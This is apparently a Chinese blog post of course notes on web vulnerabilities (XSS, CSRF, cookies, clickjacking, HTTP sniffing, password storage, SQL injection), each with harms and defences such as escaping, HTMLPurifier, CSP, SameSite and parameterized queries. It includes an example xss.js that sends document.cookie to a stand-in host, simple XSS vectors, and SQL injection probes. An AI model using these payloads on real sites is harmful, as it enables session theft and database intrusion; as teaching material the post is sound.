web前后端漏洞分析与防御

1 篇文章 0 订阅
1 篇文章 0 订阅

一、 xss

  • 什么是xss

Cross Site Scripting 跨站脚本攻击
用户输入的内容又加载/显示到页面

  • 危害

    • 获取页面数据
    • 获取cookie
    • 劫持前端逻辑
    • 发送请求
  • 攻击注入点

  1. HTML节点内容
<div>{content}</div>
  1. HTML属性
<img src="1111/2.png" onerror="alert(1)">
  1. JavaScript脚本
<script>alert(1)</script>
  1. 富文本
fsfs辐射服<a href="javascript:alert(1)">好东西</a>发生的。。。
  • 示例过程

  1. 在输入框中输入脚本
    在这里插入图片描述

xss.js的内容

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = "http://xss.com/getCookie.php?joke=" + encodeURIComponent(document.cookie);

  1. 脚本被执行
    在这里插入图片描述
  • 防御

  1. 浏览器自带的
    加上头部:X-XSS-Protection,但是只针对 html内容或属性, 而且可能有其他隐患,参考安全隐患,你对X-XSS-Protection头部字段理解可能有误

  2. 使用正则 替换 / 转义 特殊符号:< => &lt;> => &gt;,参考html实体

  3. 按白名单方式保留部分标签或属性,可自己定义,也可参考第三方的插件,例如php语言的htmlpurifier,

require_once '../lib/html/htmlpurifier/library/HTMLPurifier.auto.php';
    function clearXSS($string){
        // 生成配置对象
        $_clean_xss_config = HTMLPurifier_Config::createDefault();
        // 以下就是配置:
        $_clean_xss_config->set('Core.Encoding', 'UTF-8');
        // 设置允许使用的HTML标签
//        $_clean_xss_config->set('HTML.Allowed','div,b,strong,i,em,a[href|title],ul,ol,li,p[style],br,span[style],img[width|height|alt|src]');
        // 设置允许出现的CSS样式属性
        $_clean_xss_config->set('CSS.AllowedProperties', 'font,font-size,font-weight,font-style,font-family,text-decoration,padding-left,color,background-color,text-align');
        // 设置a标签上是否允许使用target="_blank"
        $_clean_xss_config->set('HTML.TargetBlank', TRUE);
        // 使用配置生成过滤用的对象
        $_clean_xss_obj = new HTMLPurifier($_clean_xss_config);
        // 过滤字符串
        return $_clean_xss_obj->purify($string);
    }
  1. CSP(Content Security Policy) 内容安全策略:用于指定哪些内容可执行,参考mozilla官网content_security_policy前端安全配置之Content-Security-Policy
    header("Content-Security-Policy: default-src 'self' 'unsafe-inline'; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups");

二、 CSRF

  • 什么是csrf

Crose Site Request Forgy 跨站请求伪造
在其他网站对本网站造成的危害

  • 危害

  1. 网络蠕虫
  2. 个人隐私泄露及财产安全
  • 示例过程

  1. A网站form表单
    在这里插入图片描述
  2. B网站隐藏一个form表单,是向A网站请求,给了一个链接,又是指向当前这个页面,当进入这个页面时表单自动提交到A站(自动带上了A站的cookie)
    在这里插入图片描述
  3. A站中显示了B站提交的内容,当用户点击时就会跳转到B站,而B站又隐藏提交了form表单,不断循环
    在这里插入图片描述
  • 防御

  1. 浏览器请求中会带上一个请求头referer:Referer: http://security2.com/csrf.php,可以判断referer一定程度上避免其他站点的请求

  2. 可以加上同源策略SameSite点击查看浏览器支持情况

sameSite对应的值含义
Strict最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie
Lax规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外;
导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。
None无限制
header("Set-Cookie: CookieName=CookieValue; SameSite=Strict;");
  1. 在前端页面加上验证码或加上token

三、 Cookie

  • 什么是cookie

HTTP协议是无状态的,服务器无法判断用户身份,Cookie诞生的最初目的是为了存储web中的状态信息,以方便服务器端使用。客户端向服务器发起请求,服务器向客户端浏览器颁发一个Cookie。客户端浏览器会把Cookie保存起来。当浏览器再请求该网站时,浏览器把请求的网址连同该Cookie一同提交给服务器。服务器检查该Cookie,以此来辨认用户状态。

  • 特性

  1. 前端存储数据
  2. 有效期
  3. 后端通过Http请求头发送
  4. 请求时通过Http头传给后端
  5. 前端可以读写
  6. 遵守同源策略
  7. 路径(不同网页获取的cookie可能不同)
  8. secure,是否只在https协议中起作用
  • 示例

  1. php 设置
    header("Set-Cookie: test1=value1;");
    setcookie("test2", 'value2', time()+60*60*24*30);
  1. 浏览器查看
  • 查看浏览器存储
    在这里插入图片描述
  • 查看网络请求
    在这里插入图片描述
  1. 设置、获取cookie
    要获取某个具体的cookie值,需要对cookie进行分割
    在这里插入图片描述
  2. 删除cookie
    设置过期时间小于当前时间
    在这里插入图片描述
  • 危害

  1. cookie可修改
    在这里插入图片描述
    用户1登录之后,userId=1;但是如果修改成userId=2,用户1在提交时,显示的是用户2提交的。
    在这里插入图片描述
  2. xss,csrf都利用了cookie可读性
  • 防御

  1. 加签名防篡改
  2. 加密数据
  3. http-only
  4. https
  5. same-site

四、点击劫持

  • 什么是点击劫持

攻击者的网页用iframe的方式嵌入目标网页,而用户并不知情。

  • 危害

  1. 获取用户敏感信息
  • 示例过程

A网站的地址被攻击者放在iframe中并隐藏在页面中,当用户点击攻击者网站中的按钮时,实际是点击了A站的提交按钮,而用户并知道这个过程。
在这里插入图片描述

  • 防御

  1. JavaScript禁止内嵌:
if(top != window){
        window.location.href = "http://www.biadu.com";
    }

js判断top是否等于window,如果不等于,可设置window.location.href=‘其他的地址’;但如果用户禁止了js的使用,那么这个方法不起作用。

  1. 设置请求头: X-Frame-Options
含义
DENY该页面不允许在frame中展示,即便是在相同域名的页面中嵌套也不允许
SAMEORIGIN该页面可以在相同域名页面的frame中展示
ALLOW-FROM uri该页面可以在指定来源的frame中展示

五、http传输窃听

  • http

http(超文本传输协议)是一个基于请求与响应模式的、无状态的、应用层的协议,常基于TCP的连接方式,HTTP1.1版本中给出一种持续连接的机制,绝大多数的Web开发,都是构建在HTTP协议之上的Web应用。
但是传输的内容基本都是明文,可在传输的过程中进行窃听篡改。

  • 危害

  1. 连上恶意的wifi的话,手机信息会随着上网上传,就被盗取了
  2. 路由器监听
  • 防御

  1. 加密数据
  2. 使用https协议,可查看另一篇博文

HTTPS是在HTTP上建立SSL加密层,并对传输数据进行加密,是HTTP协议的安全版。
在这里插入图片描述

六、密码安全

  1. 传输过程加密
  2. 存储加密
  3. 加密时要加盐

七、SQL注入

  • 什么是sql注入

对用户输入数据的合法性没有判断或过滤不严,,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,导致对查询、数据库安全造成影响。

  • 危害

  1. 盗取表结构及数据(拖库),比如用户名密码
  2. 删表删库
  • 示例

select * from table where username='name' or 1=1;-- 这条语句一定会返回数据
select id,1,2,3 form table;-- 猜字段名
select * from table union select 1,2,3 from table2;-- 查询表字段个数
select * from table where mid(username,1,1)='t'; -- 猜值

  • 防御

  1. 关闭错误输出
  2. 检测数据类型
  3. 对数据进行转义
  4. 对数据库操作前进行 预处理 ,使用参数化查询

************ 不 要 相 信 任 何 用 户 输 入 的 任 何 内 容 \color{red}{不要相信任何用户输入的任何内容} ************

参考:

慕课网:web前后端漏洞分析与防御

https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_security_policy

https://www.cnblogs.com/heyuqing/p/6215761.html

https://www.cgisecurity.com/xss-faq.html

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值